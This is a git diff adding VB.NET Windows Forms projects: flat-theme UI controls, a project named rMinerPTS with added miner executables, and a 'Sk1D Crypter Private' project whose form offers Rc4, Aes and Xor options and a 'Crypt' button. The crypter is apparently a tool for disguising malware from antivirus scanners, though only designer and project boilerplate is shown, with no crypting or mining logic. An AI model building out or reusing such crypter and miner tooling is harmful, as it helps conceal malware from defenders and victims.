Sub + +#End Region + +#Region " Colors" + + Private BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _TrackColor As Color = _FlatColor + Private SliderColor As Color = Color.FromArgb(25, 27, 29) + Private _HatchColor As Color = Color.FromArgb(23, 148, 92) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + Height = 18 + + BackColor = Color.FromArgb(60, 70, 73) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + Dim Base As New Rectangle(1, 6, W - 2, 8) + Dim GP, GP2 As New GraphicsPath + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Value + Val = CInt((_Value - _Minimum) / (_Maximum - _Minimum) * (W - 10)) + Track = New Rectangle(Val, 0, 10, 20) + Knob = New Rectangle(Val, 4, 11, 14) + + '-- Base + GP.AddRectangle(Base) + .SetClip(GP) + .FillRectangle(New SolidBrush(BaseColor), New Rectangle(0, 7, W, 8)) + .FillRectangle(New SolidBrush(_TrackColor), New Rectangle(0, 7, Track.X + Track.Width, 8)) + .ResetClip() + + '-- Hatch Brush + Dim HB As New HatchBrush(HatchStyle.Plaid, HatchColor, _TrackColor) + .FillRectangle(HB, New Rectangle(-10, 7, Track.X + Track.Width, 8)) + + '-- Slider/Knob + Select Case Style + Case _Style.Slider + GP2.AddRectangle(Track) + .FillPath(New SolidBrush(SliderColor), GP2) + Case _Style.Knob + GP2.AddEllipse(Knob) + .FillPath(New SolidBrush(SliderColor), GP2) + End Select + + '-- Show the value + If ShowValue Then + .DrawString(Value, New Font("Segoe UI", 8), Brushes.White, New Rectangle(1, 6, W, H), New StringFormat() _ + With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Far}) + End If + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatStatusBar : Inherits Control + +#Region " Variables" + + Private W, H As Integer + Private _ShowTimeDate As Boolean = False + +#End Region + +#Region " Properties" + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Dock = DockStyle.Bottom + End Sub + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + +#Region " Colors" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + _ + Public Property TextColor As Color + Get + Return _TextColor + End Get + Set(value As Color) + _TextColor = value + End Set + End Property + + _ + Public Property RectColor As Color + Get + Return _RectColor + End Get + Set(value As Color) + _RectColor = value + End Set + End Property + +#End Region + + Public Property ShowTimeDate As Boolean + Get + Return _ShowTimeDate + End Get + Set(value As Boolean) + _ShowTimeDate = value + End Set + End Property + + Function GetTimeDate() As String + Return DateTime.Now.Date & " " & DateTime.Now.Hour & ":" & DateTime.Now.Minute + End Function + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _TextColor As Color = Color.White + Private _RectColor As Color = _FlatColor + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + Font = New Font("Segoe UI", 8) + ForeColor = Color.White + Size = New Size(Width, 20) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width : H = Height + + Dim Base As New Rectangle(0, 0, W, H) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BaseColor) + + '-- Base + .FillRectangle(New SolidBrush(BaseColor), Base) + + '-- Text + .DrawString(Text, Font, Brushes.White, New Rectangle(10, 4, W, H), NearSF) + + '-- Rectangle + .FillRectangle(New SolidBrush(_RectColor), New Rectangle(4, 4, 4, 14)) + + '-- TimeDate + If ShowTimeDate Then + .DrawString(GetTimeDate, Font, New SolidBrush(_TextColor), New Rectangle(-4, 2, W, H), New StringFormat() _ + With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Center}) + End If + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatLabel : Inherits Label + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + + Sub New() + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + Font = New Font("Segoe UI", 8) + ForeColor = Color.White + BackColor = Color.Transparent + Text = Text + End Sub + +End Class + +Class FlatTreeView : Inherits TreeView + +#Region " Variables" + + Private State As TreeNodeStates + +#End Region + +#Region " Properties" + + Protected Overrides Sub OnDrawNode(e As DrawTreeNodeEventArgs) + Try + Dim Bounds As New Rectangle(e.Bounds.Location.X, e.Bounds.Location.Y, e.Bounds.Width, e.Bounds.Height) + 'e.Node.Nodes.Item. + Select Case State + Case TreeNodeStates.Default + e.Graphics.FillRectangle(Brushes.Red, Bounds) + e.Graphics.DrawString(e.Node.Text, New Font("Segoe UI", 8), Brushes.LimeGreen, New Rectangle(Bounds.X + 2, Bounds.Y + 2, Bounds.Width, Bounds.Height), NearSF) + Invalidate() + Case TreeNodeStates.Checked + e.Graphics.FillRectangle(Brushes.Green, Bounds) + e.Graphics.DrawString(e.Node.Text, New Font("Segoe UI", 8), Brushes.Black, New Rectangle(Bounds.X + 2, Bounds.Y + 2, Bounds.Width, Bounds.Height), NearSF) + Invalidate() + Case TreeNodeStates.Selected + e.Graphics.FillRectangle(Brushes.Green, Bounds) + e.Graphics.DrawString(e.Node.Text, New Font("Segoe UI", 8), Brushes.Black, New Rectangle(Bounds.X + 2, Bounds.Y + 2, Bounds.Width, Bounds.Height), NearSF) + Invalidate() + End Select + + Catch ex As Exception + MsgBox(ex.Message) + End Try + + MyBase.OnDrawNode(e) + End Sub + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _LineColor As Color = Color.FromArgb(25, 27, 29) + +#End Region + Sub New() + + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + + BackColor = _BaseColor + ForeColor = Color.White + LineColor = _LineColor + DrawMode = TreeViewDrawMode.OwnerDrawAll + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + + Dim Base As New Rectangle(0, 0, Width, Height) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + .FillRectangle(New SolidBrush(_BaseColor), Base) + .DrawString(Text, New Font("Segoe UI", 8), Brushes.Black, New Rectangle(Bounds.X + 2, Bounds.Y + 2, Bounds.Width, Bounds.Height), NearSF) + + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +End Class \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/hMiner.exe b/scode (rMinerPTS/rMinerPTS/hMiner.exe new file mode 100644 index 0000000..f372171 Binary files /dev/null and b/scode (rMinerPTS/rMinerPTS/hMiner.exe differ diff --git a/scode (rMinerPTS/rMinerPTS/hMiner.ico b/scode (rMinerPTS/rMinerPTS/hMiner.ico new file mode 100644 index 0000000..ddb8cb0 Binary files /dev/null and b/scode (rMinerPTS/rMinerPTS/hMiner.ico differ diff --git a/scode (rMinerPTS/rMinerPTS/hMinerPTS.exe b/scode (rMinerPTS/rMinerPTS/hMinerPTS.exe new file mode 100644 index 0000000..dce8374 Binary files /dev/null and b/scode (rMinerPTS/rMinerPTS/hMinerPTS.exe differ diff --git a/scode (rMinerPTS/rMinerPTS/img/build.png b/scode (rMinerPTS/rMinerPTS/img/build.png new file mode 100644 index 0000000..41b59db Binary files /dev/null and b/scode (rMinerPTS/rMinerPTS/img/build.png differ diff --git a/scode (rMinerPTS/rMinerPTS/img/build_hover.png b/scode (rMinerPTS/rMinerPTS/img/build_hover.png new file mode 100644 index 0000000..a2d68ea Binary files /dev/null and b/scode (rMinerPTS/rMinerPTS/img/build_hover.png differ diff --git a/scode (rMinerPTS/rMinerPTS/img/hMiner.ico b/scode (rMinerPTS/rMinerPTS/img/hMiner.ico new file mode 100644 index 0000000..ddb8cb0 Binary files /dev/null and b/scode (rMinerPTS/rMinerPTS/img/hMiner.ico differ diff --git a/scode (rMinerPTS/rMinerPTS/rMinerPTS.vbproj b/scode (rMinerPTS/rMinerPTS/rMinerPTS.vbproj new file mode 100644 index 0000000..251b556 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/rMinerPTS.vbproj @@ -0,0 +1,149 @@ + + + + Debug + x86 + + + 2.0 + {3E106CB2-D46A-4097-8ED8-66239559BFCF} + WinExe + hMinerPTS.My.MyApplication + hMinerPTS + hMinerPTS + 512 + WindowsForms + v4.0 + Client + + + x86 + true + full + true + true + bin\Debug\ + hMinerPTS.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + x86 + pdbonly + false + true + true + bin\Release\ + hMinerPTS.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + hMiner.ico + + + + + + + + + + + + + + + + + + + + + + + + + + + + Component + + + Form + + + frnMain.vb + Form + + + Component + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + + frnMain.vb + + + VbMyResourcesResXFileCodeGenerator + My.Resources + Designer + Resources.Designer.vb + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + + + + \ No newline at end of file diff --git a/scode (sk1d crypter/.DS_Store b/scode (sk1d crypter/.DS_Store new file mode 100644 index 0000000..3ecc13f Binary files /dev/null and b/scode (sk1d crypter/.DS_Store differ diff --git a/scode (sk1d crypter/Sk1D Crypter Private/.vs/Sk1D Crypter Private/v14/.suo b/scode (sk1d crypter/Sk1D Crypter Private/.vs/Sk1D Crypter Private/v14/.suo new file mode 100644 index 0000000..70ee050 Binary files /dev/null and b/scode (sk1d crypter/Sk1D Crypter Private/.vs/Sk1D Crypter Private/v14/.suo differ diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private.sln b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private.sln new file mode 100644 index 0000000..1450f5c --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Sk1D Crypter Private", "Sk1D Crypter Private\Sk1D Crypter Private.vbproj", "{54A4CC92-D7E3-4D8E-8B50-9329D642591E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {54A4CC92-D7E3-4D8E-8B50-9329D642591E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {54A4CC92-D7E3-4D8E-8B50-9329D642591E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {54A4CC92-D7E3-4D8E-8B50-9329D642591E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {54A4CC92-D7E3-4D8E-8B50-9329D642591E}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Application.Designer.vb b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Application.Designer.vb new file mode 100644 index 0000000..0838559 --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterAllFormsClose + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Sk1D_Crypter_Private.Form1 + End Sub + End Class +End Namespace diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Application.myapp b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Application.myapp new file mode 100644 index 0000000..38f0061 --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form1 + false + 1 + true + 0 + true + \ No newline at end of file diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/AssemblyInfo.vb b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..4d37104 --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Resources.Designer.vb b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Resources.Designer.vb new file mode 100644 index 0000000..e21f842 --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Sk1D_Crypter_Private.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Resources.resx b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Settings.Designer.vb b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Settings.Designer.vb new file mode 100644 index 0000000..10bd0db --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Sk1D_Crypter_Private.My.MySettings + Get + Return Global.Sk1D_Crypter_Private.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Settings.settings b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/Sk1D Crypter Private.vbproj b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/Sk1D Crypter Private.vbproj new file mode 100644 index 0000000..2fa938c --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/Sk1D Crypter Private.vbproj @@ -0,0 +1,128 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {54A4CC92-D7E3-4D8E-8B50-9329D642591E} + WinExe + Sk1D_Crypter_Private.My.MyApplication + Sk1D_Crypter_Private + Sk1D Crypter Private + 512 + WindowsForms + v3.5 + On + Binary + Off + On + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + Sk1D Crypter Private.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + bin\Release\ + Sk1D Crypter Private.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + + + + + + + + 3.5 + + + 3.5 + + + 3.5 + + + + + + + + + + + + + + + + + Form + + + okay.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + okay.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + \ No newline at end of file diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/Sk1D Crypter Private.vbproj.user b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/Sk1D Crypter Private.vbproj.user new file mode 100644 index 0000000..0410da1 --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/Sk1D Crypter Private.vbproj.user @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/okay.Designer.vb b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/okay.Designer.vb new file mode 100644 index 0000000..af7c68d --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/okay.Designer.vb @@ -0,0 +1,149 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.PictureBox1 = New System.Windows.Forms.PictureBox + Me.RadioButton3 = New System.Windows.Forms.RadioButton + Me.RadioButton2 = New System.Windows.Forms.RadioButton + Me.RadioButton1 = New System.Windows.Forms.RadioButton + Me.TextBox1 = New System.Windows.Forms.TextBox + Me.Button2 = New System.Windows.Forms.Button + Me.Button1 = New System.Windows.Forms.Button + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'PictureBox1 + ' + Me.PictureBox1.BackColor = System.Drawing.Color.Transparent + Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image) + Me.PictureBox1.Location = New System.Drawing.Point(4, 0) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(350, 55) + Me.PictureBox1.TabIndex = 0 + Me.PictureBox1.TabStop = False + ' + 'RadioButton3 + ' + Me.RadioButton3.AutoSize = True + Me.RadioButton3.BackColor = System.Drawing.Color.Transparent + Me.RadioButton3.Font = New System.Drawing.Font("Microsoft Sans Serif", 9.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton3.ForeColor = System.Drawing.Color.White + Me.RadioButton3.Location = New System.Drawing.Point(232, 87) + Me.RadioButton3.Name = "RadioButton3" + Me.RadioButton3.Size = New System.Drawing.Size(49, 20) + Me.RadioButton3.TabIndex = 12 + Me.RadioButton3.TabStop = True + Me.RadioButton3.Text = "Xor" + Me.RadioButton3.UseVisualStyleBackColor = False + ' + 'RadioButton2 + ' + Me.RadioButton2.AutoSize = True + Me.RadioButton2.BackColor = System.Drawing.Color.Transparent + Me.RadioButton2.Font = New System.Drawing.Font("Microsoft Sans Serif", 9.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton2.ForeColor = System.Drawing.Color.White + Me.RadioButton2.Location = New System.Drawing.Point(147, 87) + Me.RadioButton2.Name = "RadioButton2" + Me.RadioButton2.Size = New System.Drawing.Size(53, 20) + Me.RadioButton2.TabIndex = 11 + Me.RadioButton2.TabStop = True + Me.RadioButton2.Text = "Aes" + Me.RadioButton2.UseVisualStyleBackColor = False + ' + 'RadioButton1 + ' + Me.RadioButton1.AutoSize = True + Me.RadioButton1.BackColor = System.Drawing.Color.Transparent + Me.RadioButton1.Font = New System.Drawing.Font("Microsoft Sans Serif", 9.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton1.ForeColor = System.Drawing.Color.White + Me.RadioButton1.Location = New System.Drawing.Point(64, 87) + Me.RadioButton1.Name = "RadioButton1" + Me.RadioButton1.Size = New System.Drawing.Size(53, 20) + Me.RadioButton1.TabIndex = 10 + Me.RadioButton1.TabStop = True + Me.RadioButton1.Text = "Rc4" + Me.RadioButton1.UseVisualStyleBackColor = False + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(30, 61) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(246, 20) + Me.TextBox1.TabIndex = 9 + ' + 'Button2 + ' + Me.Button2.BackColor = System.Drawing.Color.Transparent + Me.Button2.FlatStyle = System.Windows.Forms.FlatStyle.Popup + Me.Button2.Font = New System.Drawing.Font("Arial", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Button2.ForeColor = System.Drawing.Color.White + Me.Button2.Location = New System.Drawing.Point(64, 123) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(212, 24) + Me.Button2.TabIndex = 8 + Me.Button2.Text = "Crypt" + Me.Button2.UseVisualStyleBackColor = False + ' + 'Button1 + ' + Me.Button1.BackColor = System.Drawing.Color.Transparent + Me.Button1.FlatStyle = System.Windows.Forms.FlatStyle.Popup + Me.Button1.Font = New System.Drawing.Font("Arial", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Button1.ForeColor = System.Drawing.Color.White + Me.Button1.Location = New System.Drawing.Point(282, 59) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(48, 23) + Me.Button1.TabIndex = 7 + Me.Button1.Text = "..." + Me.Button1.UseVisualStyleBackColor = False + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image) + Me.ClientSize = New System.Drawing.Size(351, 156) + Me.Controls.Add(Me.RadioButton3) + Me.Controls.Add(Me.RadioButton2) + Me.Controls.Add(Me.RadioButton1) + Me.Controls.Add(Me.TextBox1) + Me.Controls.Add(Me.Button2) + Me.Controls.Add(Me.Button1) + Me.Controls.Add(Me.PictureBox1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.SizableToolWindow + Me.Name = "Form1" + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents RadioButton3 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton2 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton1 As System.Windows.Forms.RadioButton + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Button2 As System.Windows.Forms.Button + Friend WithEvents Button1 As System.Windows.Forms.Button + +End Class diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/okay.resx b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/okay.resx new file mode 100644 index 0000000..ca12b6c --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/okay.resx @@ -0,0 +1,343 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAAV4AAABkCAYAAADOvVhlAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAlwSFlzAAALDgAA + Cw4BQL7hQQAAEedJREFUeF7tXT3IJMcRlTNxkazsUHQ4O5TIDpXJXKZIhssUyShUIgzKLpEDZRcIB8oU + iAucCYQdODsQNigW2IFSYRw4FBjD537N1Lq2v66u6tnZnt3edzBIdzs70/3q9evX1T/7s7u7u1f4hwgQ + ASJABAYiAOHlRQzIAXKAHBjHAYouOx5ygBwgBwZzgIAPBpyuYpyrINbE+lI5QOGl8JID5AA5MJgDBHww + 4JfaA7NcdIfkwDgOUHgpvOQAOUAODObAUMD/89NPr6brSbq+Tte/03VXXN+lvz9P19vpeqW43kx/f1n5 + 